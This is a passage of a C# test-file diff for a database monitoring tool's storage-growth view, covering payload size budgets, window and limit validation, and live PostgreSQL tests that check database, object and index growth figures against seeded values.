+        var samples = objs.SelectMany(o => Enumerable.Range(0, 30).Select(d => new FinOpsObjectDaySample($"{o.SchemaName}.{o.TableName}", new DateTime(2026, 9, 1).AddDays(d), 12345678.9 + d))).ToList();
+        var objectsBytes = Encoding.UTF8.GetByteCount(DarlingMcpFinOpsTools.BuildStorageGrowthObjectsPayload(new string('s', 128), 24, DarlingMcpFinOpsTools.StorageGrowthDatabaseSection(dbs, dbs[0].DatabaseName, null), objs, 21, samples, null));
+
+        var ixs = Enumerable.Range(0, 60).Select(i => new IndexUsageDto(name, name, name, name + i, "NONCLUSTERED COLUMNSTORE", i, 99999999.9m, 9_999_999_999L, 9_999_999_999L, 9_999_999_999L, 9_999_999_999L, 9_999_999_999L, 9_999_999_999L, new DateTime(2026, 9, 1, 1, 2, 3), "Write-only", new DateTime(2026, 9, 1, 4, 5, 6, DateTimeKind.Utc))).ToList();
+        var indexesBytes = Encoding.UTF8.GetByteCount(DarlingMcpFinOpsTools.BuildStorageGrowthIndexesPayload(new string('s', 128), 24, DarlingMcpFinOpsTools.StorageGrowthDatabaseSection(dbs, dbs[0].DatabaseName, null), ixs, null));
+
+        Console.WriteLine($"storage_growth worst case bytes: databases {databases}, objects {objectsBytes}, indexes {indexesBytes}");
+        /* The object level fits the budget at its worst case. The database and index lists are capped by row count (50 and 30) to fit it too. */
+        Assert.True(objectsBytes <= 32768, $"objects {objectsBytes}");
+        Assert.True(databases <= 32768, $"databases {databases}");
+        Assert.True(indexesBytes <= 32768, $"indexes {indexesBytes}");
+    }
+
+    private static int LongWindowObjectsBytes(int objectCount, int days)
+    {
+        var name = new string('n', 128);
+        var dbs = new List<StorageGrowthDto> { new(name, 99999999.99m, 99999999.99m, 99999999.99m, 99999999.99m, 99999999.99m, 99999999.99m, 9999.9m, true, true) };
+        var objs = Enumerable.Range(0, objectCount).Select(i => new ObjectSizeGrowthDto(name, name + i.ToString("D2"), 99999999.9m, 99999999.9m, 9_999_999_999L, 99, 99999999.9m, 99999.99m, 9999.9m)).ToList();
+        var samples = objs.SelectMany(o => Enumerable.Range(0, days).Select(d => new FinOpsObjectDaySample($"{o.SchemaName}.{o.TableName}", new DateTime(2026, 6, 1).AddDays(d), 12345678.9 + d))).ToList();
+        return Encoding.UTF8.GetByteCount(DarlingMcpFinOpsTools.BuildStorageGrowthObjectsPayload(new string('s', 128), 2160, DarlingMcpFinOpsTools.StorageGrowthDatabaseSection(dbs, name, null), objs, objectCount + 1, samples, null, days));
+    }
+
+    [Fact]
+    public void NinetyDayWindow_AtItsObjectCap_SerialisesUnder32768Bytes_AndTwentyObjectsWouldNot()
+    {
+        var cap = DarlingMcpFinOpsTools.StorageGrowthObjectCap(90);
+        /* A 90-day window spans up to 91 UTC dates (date_trunc over [now-90d, now]), so the worst case is 91 day columns. */
+        var atCap = LongWindowObjectsBytes(cap, 91);
+        var atTwenty = LongWindowObjectsBytes(DarlingMcpFinOpsTools.MaxStorageGrowthObjects, 91);
+        Console.WriteLine($"storage_growth 91-day-column objects worst case bytes: {cap} objects {atCap}, 20 objects {atTwenty}");
+        Assert.Equal(12, cap);
+        Assert.True(atCap <= 32768, $"91 day columns x {cap} objects is {atCap}");
+        Assert.True(atTwenty > 32768, $"91 day columns x 20 objects is {atTwenty}, so the cap is not needed");
+    }
+
+    [Theory]
+    [InlineData(24, 30)]
+    [InlineData(168, 7)]
+    [InlineData(720, 30)]
+    [InlineData(2160, 90)]
+    [InlineData(1440, 60)]
+    public void WindowDays_AreTheDefault_OrAWholeNumberOfDaysFromSevenToNinety(int hours, int days) =>
+        Assert.Equal(days, DarlingMcpFinOpsTools.StorageGrowthWindowDaysFor(hours));
+
+    [Theory]
+    [InlineData(0)]
+    [InlineData(-24)]
+    [InlineData(1)]
+    [InlineData(48)]
+    [InlineData(167)]
+    [InlineData(169)]
+    [InlineData(2161)]
+    [InlineData(2184)]
+    public void WindowDays_RefuseWhatIsNotADefaultOrSevenToNinetyWholeDays(int hours) =>
+        Assert.Null(DarlingMcpFinOpsTools.StorageGrowthWindowDaysFor(hours));
+
+    [Theory]
+    [InlineData(7, 20)]
+    [InlineData(30, 20)]
+    [InlineData(31, 12)]
+    [InlineData(90, 12)]
+    public void ObjectCap_FallsOnlyForWindowsOverThirtyDays(int days, int cap) =>
+        Assert.Equal(cap, DarlingMcpFinOpsTools.StorageGrowthObjectCap(days));
+}
+
+internal static class StorageGrowthTestExtensions
+{
+    public static T Also<T>(this T value, Action<T> action)
+    {
+        action(value);
+        return value;
+    }
+}
+
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+public sealed class FinOpsStorageGrowthViewLiveTests
+{
+    private const string ServerName = "darling-finops-sgrowth-a";
+    private const string EmptyServerName = "darling-finops-sgrowth-b";
+    private const string PostgresServerName = "darling-finops-sgrowth-c";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static readonly int EmptyServerId = ServerIdHelper.GetDeterministicHashCode(EmptyServerName);
+    private static readonly int PostgresServerId = ServerIdHelper.GetDeterministicHashCode(PostgresServerName);
+
+    private static string? Cs()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live storage growth view test.");
+        return cs;
+    }
+
+    private static Task Size(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, decimal mb, int fileId, bool sibling = false) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, file_id, file_name, total_size_mb, used_size_mb) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, db, sibling ? DBNull.Value : fileId, sibling ? "(whole database)" : "f" + fileId, mb, mb);
+
+    private static Task Obj(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, string table, int indexId, string indexName, decimal reserved, long? seeks, long? updates, DateTime? lastSeek) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows, user_seeks, user_scans, user_lookups, user_updates, last_user_seek)
+              VALUES ($1,$2,$3,$4,$5,'dbo',$6,$7,$8,$9,'NONCLUSTERED',$10,$11,$12,$13,$14,$15,$16,$17)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, db, 100 + table.Length, table, indexId, indexName, reserved, reserved - 1m, 1000L,
+            (object?)seeks ?? DBNull.Value, (object?)(seeks == null ? null : 0L) ?? DBNull.Value, (object?)(seeks == null ? null : 0L) ?? DBNull.Value, (object?)updates ?? DBNull.Value, (object?)lastSeek ?? DBNull.Value);
+
+    private async Task<ScratchPostgres> SeedAsync(string cs, CancellationToken ct)
+    {
+        Assert.SkipWhen(DateTime.UtcNow.TimeOfDay < new TimeSpan(0, 15, 0), "The seeded daily samples need the clock after 00:15 UTC.");
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerId, ServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, EmptyServerId, EmptyServerName, ct);
+        await PgTargetFactCollectorTests.RegisterServerAsync(c, PostgresServerId, PostgresServerName, MonitoredEngineKind.Postgres, 16, ct);
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+
+        /* Sizes: Alpha has all three points, Beta has no 30-day point, Sib is an Azure sibling row. The baselines sit 30.5 and 7.5
+           days back (inside the one-day tolerance of the 30 and 7 day marks), so the daily rate is only right when it divides by the
+           real span between the two snapshots: a fixed 30 or 7 would give 16.68 and 8.57 where the spans give 16.40 and 8.00. */
+        await Size(c, ct, now.AddDays(-30.5), "Alpha", 1000m, 1);
+        await Size(c, ct, now.AddDays(-7.5), "Alpha", 1400m, 1);
+        await Size(c, ct, now.AddMinutes(-5), "Alpha", 1500.255m, 1);
+        await Size(c, ct, now.AddDays(-7.5), "Beta", 200m, 1);
+        await Size(c, ct, now.AddMinutes(-5), "Beta", 260m, 1);
+        await Size(c, ct, now.AddMinutes(-5), "Sib", 50m, 1, sibling: true);
+
+        /* Objects in Alpha, one snapshot a day for 30 days: Big grows 100 -> 400, TieA and TieB both grow 10 -> 20, Flat stays at 5. */
+        for (var d = 29; d >= 0; d--)
+        {
+            var at = now.Date.AddDays(-d).AddMinutes(10);
+            await Obj(c, ct, at, "Alpha", "Big", 1, "PK_Big", 60m + (29 - d) * 10m, 5, 2, new DateTime(2026, 9, 30, 8, 7, 6));
+            await Obj(c, ct, at, "Alpha", "Big", 2, "IX_Big_Cold", 40m + (29 - d) * 0m, null, null, null);
+            await Obj(c, ct, at, "Alpha", "TieA", 1, "PK_TieA", d == 0 ? 20m : 10m, 0, 0, null);
+            await Obj(c, ct, at, "Alpha", "TieB", 1, "PK_TieB", d == 0 ? 20m : 10m, 0, 0, null);
+            await Obj(c, ct, at, "Alpha", "Flat", 1, "PK_Flat", 5m, 0, 3, null);
+        }
+        return scratch;
+    }
+
+    private static JsonDocument Parse(string body) => JsonDocument.Parse(body);
+
+    [Fact]
+    public async Task DatabasesLevel_ReadsFieldByField_AgainstLiteralValues()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var doc = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, cancellationToken: ct));
+        var root = doc.RootElement;
+        Assert.Equal("databases", root.GetProperty("level").GetString());
+        var section = root.GetProperty("databases");
+        Assert.Equal("ok", section.GetProperty("status").GetString());
+        Assert.Equal(3, section.GetProperty("database_count").GetInt32());
+        Assert.False(section.GetProperty("truncated").GetBoolean());
+        var rows = section.GetProperty("rows");
+        Assert.Equal(new[] { "Alpha", "Beta", "Sib" }, rows.EnumerateArray().Select(r => r.GetProperty("database_name").GetString()).ToArray());
+        var alpha = rows[0];
+        Assert.Equal(1500.26m, alpha.GetProperty("current_size_mb").GetDecimal());
+        Assert.Equal(1400m, alpha.GetProperty("size_7d_ago_mb").GetDecimal());
+        Assert.Equal(1000m, alpha.GetProperty("size_30d_ago_mb").GetDecimal());
+        Assert.Equal(100.26m, alpha.GetProperty("growth_7d_mb").GetDecimal());
+        Assert.Equal(500.26m, alpha.GetProperty("growth_30d_mb").GetDecimal());
+        Assert.Equal(50.0m, alpha.GetProperty("growth_pct_30d").GetDecimal());
+        // 500.255 MB over the 30.4965 days between the two snapshots (30.5 days less the 5 minutes the newest sits back).
+        Assert.Equal(16.40m, alpha.GetProperty("daily_growth_rate_mb").GetDecimal());
+        Assert.False(alpha.GetProperty("has_sibling_row").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, alpha.GetProperty("note").ValueKind);
+        var beta = rows[1];
+        Assert.Equal(JsonValueKind.Null, beta.GetProperty("size_30d_ago_mb").ValueKind);
+        Assert.Equal(JsonValueKind.Null, beta.GetProperty("growth_30d_mb").ValueKind);
+        Assert.Equal(60m, beta.GetProperty("growth_7d_mb").GetDecimal());
+        // No 30-day point: the rate falls back to the 7-day baseline over its real 7.4965-day span.
+        Assert.Equal(8.00m, beta.GetProperty("daily_growth_rate_mb").GetDecimal());
+        Assert.True(rows[2].GetProperty("has_sibling_row").GetBoolean());
+        Assert.Equal(AzureSiblingDatabaseSize.LogNote, rows[2].GetProperty("note").GetString());
+    }
+
+    /* #5238: the databases level reads limit as its row count (the default 10 means the top 50), so the web tab can ask for 500 and list
+       every database. Three databases are seeded: a limit of 2 cuts one and says so, 500 lists all three, and the default lists all three too. */
+    [Fact]
+    public async Task DatabasesLevel_ReadsLimitAsTheRowCount_AndTheDefaultStillMeansTheTopFifty()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        static string[] Names(JsonElement section) => section.GetProperty("rows").EnumerateArray().Select(r => r.GetProperty("database_name").GetString()!).ToArray();
+
+        using var two = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 2, cancellationToken: ct));
+        var cut = two.RootElement.GetProperty("databases");
+        Assert.Equal(3, cut.GetProperty("database_count").GetInt32());
+        Assert.True(cut.GetProperty("truncated").GetBoolean());
+        Assert.Equal(new[] { "Alpha", "Beta" }, Names(cut));
+
+        using var all = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 500, cancellationToken: ct));
+        var whole = all.RootElement.GetProperty("databases");
+        Assert.Equal(3, whole.GetProperty("database_count").GetInt32());
+        Assert.False(whole.GetProperty("truncated").GetBoolean());
+        Assert.Equal(new[] { "Alpha", "Beta", "Sib" }, Names(whole));
+
+        using var byDefault = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, cancellationToken: ct));
+        Assert.Equal(new[] { "Alpha", "Beta", "Sib" }, Names(byDefault.RootElement.GetProperty("databases")));
+
+        /* Either side of the default: a limit of 1 cuts two and says so, and an 11 is no more refused than a 500 is;
+           the 11 lists all three because only three are seeded (the 60-database payload test pins that 11 keeps eleven, not fifty). */
+        using var one = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 1, cancellationToken: ct));
+        var single = one.RootElement.GetProperty("databases");
+        Assert.Equal(3, single.GetProperty("database_count").GetInt32());
+        Assert.True(single.GetProperty("truncated").GetBoolean());
+        Assert.Equal(new[] { "Alpha" }, Names(single));
+
+        using var eleven = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 11, cancellationToken: ct));
+        var most = eleven.RootElement.GetProperty("databases");
+        Assert.Equal(3, most.GetProperty("database_count").GetInt32());
+        Assert.False(most.GetProperty("truncated").GetBoolean());
+        Assert.Equal(new[] { "Alpha", "Beta", "Sib" }, Names(most));
+    }
+
+    [Fact]
+    public async Task ObjectsLevel_ReadsFieldByField_AgainstLiteralValues_AndTheTieOrdersByKey()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var doc = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, "Alpha", cancellationToken: ct));
+        var root = doc.RootElement;
+        Assert.Equal("objects", root.GetProperty("level").GetString());
+        Assert.Equal("ok", root.GetProperty("database").GetProperty("status").GetString());
+        Assert.Equal("Alpha", root.GetProperty("database").GetProperty("row").GetProperty("database_name").GetString());
+        var objects = root.GetProperty("objects");
+        Assert.Equal(30, objects.GetProperty("window_days").GetInt32());
+        Assert.Equal(4, objects.GetProperty("object_count").GetInt32());
+        Assert.False(objects.GetProperty("truncated").GetBoolean());
+        var days = objects.GetProperty("days");
+        Assert.Equal(30, days.GetArrayLength());
+        var today = DateTime.UtcNow.Date;
+        Assert.Equal(today.AddDays(-29).ToString("yyyy-MM-dd'T'00:00:00.0000000'Z'"), days[0].GetString());
+        Assert.Equal(today.ToString("yyyy-MM-dd'T'00:00:00.0000000'Z'"), days[29].GetString());
+        var rows = objects.GetProperty("rows");
+        Assert.Equal(new[] { "dbo.Big", "dbo.TieA", "dbo.TieB", "dbo.Flat" }, rows.EnumerateArray().Select(r => r.GetProperty("object_name").GetString()).ToArray());
+        var big = rows[0];
+        Assert.Equal("dbo", big.GetProperty("schema_name").GetString());
+        Assert.Equal("Big", big.GetProperty("table_name").GetString());
+        Assert.Equal(390m, big.GetProperty("reserved_mb").GetDecimal());
+        Assert.Equal(388m, big.GetProperty("used_mb").GetDecimal());
+        Assert.Equal(1000, big.GetProperty("total_rows").GetInt64());
+        Assert.Equal(2, big.GetProperty("index_count").GetInt32());
+        Assert.Equal(290m, big.GetProperty("growth_mb").GetDecimal());
+        Assert.Equal(9.67m, big.GetProperty("daily_growth_rate_mb").GetDecimal());
+        var cells = big.GetProperty("cells");
+        Assert.Equal(30, cells.GetArrayLength());
+        Assert.Equal(100m, cells[0][0].GetDecimal());
+        Assert.Equal(390m, cells[29][0].GetDecimal());
+        Assert.Equal(7, cells[29][1].GetInt32());
+        /* log1p(100) between log1p(5) (the matrix minimum) and log1p(390): t = 0.676 -> band 5; Flat's 5 is band 0. */
+        Assert.Equal(5, cells[0][1].GetInt32());
+        Assert.Equal(0, rows[3].GetProperty("cells")[0][1].GetInt32());
+    }
+
+    [Fact]
+    public async Task IndexesLevel_ReadsFieldByField_AgainstLiteralValues()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var doc = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, "Alpha", object_name: "dbo.Big", cancellationToken: ct));
+        var root = doc.RootElement;
+        Assert.Equal("indexes", root.GetProperty("level").GetString());
+        Assert.Equal("ok", root.GetProperty("database").GetProperty("status").GetString());
+        var section = root.GetProperty("indexes");
+        Assert.Equal("ok", section.GetProperty("status").GetString());
+        Assert.Equal(2, section.GetProperty("index_count").GetInt32());
+        Assert.False(section.GetProperty("truncated").GetBoolean());
+        var rows = section.GetProperty("rows");
+        Assert.Equal(new[] { "PK_Big", "IX_Big_Cold" }, rows.EnumerateArray().Select(r => r.GetProperty("index_name").GetString()).ToArray());
+
+        var pk = rows[0];
+        Assert.Equal("Alpha", pk.GetProperty("database_name").GetString());
+        Assert.Equal("dbo", pk.GetProperty("schema_name").GetString());
+        Assert.Equal("Big", pk.GetProperty("table_name").GetString());
+        Assert.Equal("NONCLUSTERED", pk.GetProperty("index_type_desc").GetString());
+        Assert.Equal(1, pk.GetProperty("index_id").GetInt32());
+        Assert.Equal(350m, pk.GetProperty("reserved_mb").GetDecimal());
+        Assert.Equal(1000L, pk.GetProperty("total_rows").GetInt64());
+        Assert.Equal(5L, pk.GetProperty("user_seeks").GetInt64());
+        Assert.Equal(0L, pk.GetProperty("user_scans").GetInt64());
+        Assert.Equal(0L, pk.GetProperty("user_lookups").GetInt64());
+        Assert.Equal(5L, pk.GetProperty("total_reads").GetInt64());
+        Assert.Equal(2L, pk.GetProperty("user_updates").GetInt64());
+        Assert.Equal("2026-09-30T08:07:06", pk.GetProperty("last_user_access_server_local").GetString());
+        Assert.Equal("Active", pk.GetProperty("classification").GetString());
+
+        var cold = rows[1];
+        Assert.Equal("IX_Big_Cold", cold.GetProperty("index_name").GetString());
+        Assert.Equal(2, cold.GetProperty("index_id").GetInt32());
+        Assert.Equal(40m, cold.GetProperty("reserved_mb").GetDecimal());
+        Assert.Equal(0L, cold.GetProperty("user_seeks").GetInt64());
+        Assert.Equal(0L, cold.GetProperty("total_reads").GetInt64());
+        Assert.Equal(0L, cold.GetProperty("user_updates").GetInt64());
+        Assert.Equal(JsonValueKind.Null, cold.GetProperty("last_user_access_server_local").ValueKind);
+        Assert.Equal("Unused", cold.GetProperty("classification").GetString());
+    }
+
+    [Fact]
+    public async Task IndexesLevel_PublishesTheSnapshotInstant_AFixedOldOne()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        /* A database that left collection scope five days ago: its daily index snapshots stop at a day boundary the seed
+           fixes (the seed's own UTC midnight, never a later clock read), so the newest one is five days old. */
+        var last = DarlingMcpTestData.Naive(DateTime.UtcNow).Date.AddDays(-5).AddMinutes(10);
+        for (var d = 24; d >= 0; d--)
+        {
+            await Obj(c, ct, last.AddDays(-d), "Gone", "Old", 1, "PK_Old", 10m + (24 - d), 1, 1, null);
+            await Obj(c, ct, last.AddDays(-d), "Gone", "Old", 2, "IX_Old", 5m, 0, 0, null);
+        }
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var doc = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, "Gone", object_name: "dbo.Old", cancellationToken: ct));
+        var section = doc.RootElement.GetProperty("indexes");
+        Assert.Equal("ok", section.GetProperty("status").GetString());
+        Assert.Equal(McpHelpers.FormatEffectiveStart(last), section.GetProperty("captured_at").GetString());
+        Assert.EndsWith("T00:10:00.0000000Z", section.GetProperty("captured_at").GetString());
+        Assert.Equal(2, section.GetProperty("index_count").GetInt32());
+    }
+
+    [Fact]
+    public async Task EveryLevel_EqualsTheReadersRows_MappedThroughTheRowFunctions()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        string Json(object o) => JsonSerializer.Serialize(o, McpHelpers.JsonOptions);
+        var now = DateTime.UtcNow;
+
+        var dbs = await DarlingFinOpsStorageGrowthReader.GetStorageGrowthAsync(ds, ServerId, now, 60, ct);
+        using var level1 = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, cancellationToken: ct));
+        Assert.Equal(Json(DarlingMcpFinOpsTools.OrderStorageGrowthDatabases(dbs).Select(DarlingMcpFinOpsTools.StorageGrowthDatabaseRow).ToList()),
+            level1.RootElement.GetProperty("databases").GetProperty("rows").GetRawText());
+
+        var windowStart = DateTime.SpecifyKind(now.AddDays(-30), DateTimeKind.Unspecified);
+        var (objects, samples) = await DarlingFinOpsStorageGrowthReader.GetObjectGrowthHeatmapDataAsync(ds, ServerId, "Alpha", windowStart, 30, 20, 60, ct);
+        var (ranked, _) = DarlingMcpFinOpsTools.RankStorageGrowthObjects(objects, 10);
+        var (days, objectRows) = DarlingMcpFinOpsTools.StorageGrowthObjectRows(ranked, samples);
+        using var level2 = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, "Alpha", cancellationToken: ct));
+        Assert.Equal(Json(objectRows), level2.RootElement.GetProperty("objects").GetProperty("rows").GetRawText());
+        Assert.Equal(Json(days), level2.RootElement.GetProperty("objects").GetProperty("days").GetRawText());
+
+        var ixs = await DarlingFinOpsStorageGrowthReader.GetObjectIndexDetailAsync(ds, ServerId, "Alpha", "dbo", "Big", 60, ct);
+        using var level3 = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, "Alpha", object_name: "dbo.Big", cancellationToken: ct));
+        Assert.Equal(Json(DarlingMcpFinOpsTools.OrderStorageGrowthIndexes(ixs).Select(DarlingMcpFinOpsTools.StorageGrowthIndexRow).ToList()),
+            level3.RootElement.GetProperty("indexes").GetProperty("rows").GetRawText());
+    }
+
+    [Fact]
+    public async Task Refusals_AreEachPinnedExactly()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        Assert.Equal(
+            McpHelpers.Refusal("object_name", "object_name 'dbo.Nope' is not among the 20 fastest-growing objects of database 'Alpha'. Read the objects level (database_name only) and pass an object_name from its rows."),
+            await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, "Alpha", object_name: "dbo.Nope", cancellationToken: ct));
+        Assert.Equal(
+            McpHelpers.Refusal("object_name", "object_name needs database_name: dbo.Big is a table in one database. Pass database_name too, or omit object_name."),
+            await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 10, object_name: "dbo.Big", cancellationToken: ct));
+        Assert.Equal(
+            McpHelpers.Refusal("hours_back", "Invalid hours_back value '48': view storage_growth takes 24 (the default, a 30-day window) or a whole number of days from 7 to 90, as 168 to 2160 hours."),
+            await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 48, 10, cancellationToken: ct));
+        Assert.Equal(
+            McpHelpers.Refusal("limit", "Invalid limit value '21': the objects level of view storage_growth returns at most 20 objects."),
+            await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 21, "Alpha", cancellationToken: ct));
+        // #5238: the databases level takes a limit now (its row count); the indexes level still refuses one, and the objects level a limit over 20.
+        Assert.Equal(
+            McpHelpers.Refusal("limit", "limit applies only to the databases and objects levels of view storage_growth; omit it for the indexes level (database_name with object_name)."),
+            await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 5, "Alpha", object_name: "dbo.Big", cancellationToken: ct));
+        Assert.Equal(
+            McpHelpers.Refusal("limit", "Invalid limit value '501'. Must be an integer from 1 to 500."),
+            await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 501, cancellationToken: ct));
+        Assert.Equal(
+            McpHelpers.Refusal("limit", "Invalid limit value '300': the objects level of view storage_growth returns at most 20 objects."),
+            await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 24, 300, "Alpha", cancellationToken: ct));
+    }
+
+    [Fact]
+    public async Task ServerWithNoRows_IsExactlyEmpty()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        Assert.Equal(
+            McpHelpers.Status("empty", "No database size snapshot was found for this server, so there is no storage growth to show."),
+            await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", EmptyServerName, 24, 10, cancellationToken: ct));
+        Assert.Equal(
+            McpHelpers.Status("empty", "No database size snapshot or object size data was found for this server, so there is no storage growth to show."),
+            await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", EmptyServerName, 24, 10, "Alpha", cancellationToken: ct));
+    }
+
+    [Fact]
+    public async Task ObjectsLevel_TakesA7_30_Or90DayWindow_AndCapsTheLongOnesAtTwelve()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        /* The seed has 30 daily snapshots: a 7-day window sees 7 or 8 of them, 30 and 90 days see all 30. */
+        using var week = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 168, 10, "Alpha", cancellationToken: ct));
+        Assert.Equal(7, week.RootElement.GetProperty("objects").GetProperty("window_days").GetInt32());
+        Assert.InRange(week.RootElement.GetProperty("objects").GetProperty("days").GetArrayLength(), 7, 8);
+
+        using var month = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 720, 10, "Alpha", cancellationToken: ct));
+        Assert.Equal(30, month.RootElement.GetProperty("objects").GetProperty("window_days").GetInt32());
+        Assert.Equal(30, month.RootElement.GetProperty("objects").GetProperty("days").GetArrayLength());
+
+        using var quarter = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 2160, 20, "Alpha", cancellationToken: ct));
+        var objects = quarter.RootElement.GetProperty("objects");
+        Assert.Equal("ok", objects.GetProperty("status").GetString());
+        Assert.Equal(90, objects.GetProperty("window_days").GetInt32());
+        Assert.Equal(30, objects.GetProperty("days").GetArrayLength());
+        Assert.Equal(4, objects.GetProperty("rows").GetArrayLength());
+        /* Documented, not corrected: the rate is growth over the window divided by the window's days, so 30 days of history read at 90 days
+           reports a third of the real rate (290 MB / 90, not 290 MB / 30). */
+        var bigRow = objects.GetProperty("rows").EnumerateArray().Single(o => o.GetProperty("object_name").GetString() == "dbo.Big");
+        Assert.Equal(290m, bigRow.GetProperty("growth_mb").GetDecimal());
+        Assert.Equal(Math.Round(290m / 90m, 2), bigRow.GetProperty("daily_growth_rate_mb").GetDecimal());
+        Assert.Equal(2160, quarter.RootElement.GetProperty("hours_back").GetInt32());
+        /* The indexes level takes the same window. */
+        using var indexes = Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "storage_growth", ServerName, 2160, 10, "Alpha", object_name: "dbo.Big", cancellationToken: ct));
+        Assert.Equal("indexes", indexes.RootElement.GetProperty("level").GetString());
+    }
+
+    [Fact]
+    public async Task EveryOtherView_StillRefusesHoursBackAboveASevenDayWeek()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        foreach (var view in DarlingMcpFinOpsTools.Views.Where(v => v != DarlingMcpFinOpsTools.StorageGrowthView))
+        {
+            var refused = await DarlingMcpFinOpsTools.GetFinOps(ds, view, ServerName, 2160, 10, cancellationToken: ct);
+            Assert.True(McpHelpers.IsRefusalEnvelope(refused), $"{view}: {refused}");
+            Assert.Equal("hours_back", JsonDocument.Parse(refused).RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        }
+    }
+
+    [Fact]
+    public async Task ObjectsLevel_RanksTheDesktopsTwenty_BeforeCuttingToLimit()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await using (var c = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await c.OpenAsync(ct);
+            var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+            /* 14 tables that shrink (growth below 0), 5 new tables with one sample only (absent from the earliest snapshot, so growth is their whole size) and dbo.ZNull, whose size is unknown at the latest instant (the SQL sorts its null growth last; the desktop's order counts it as 0). */
+            for (var i = 0; i < 20; i++)
+            {
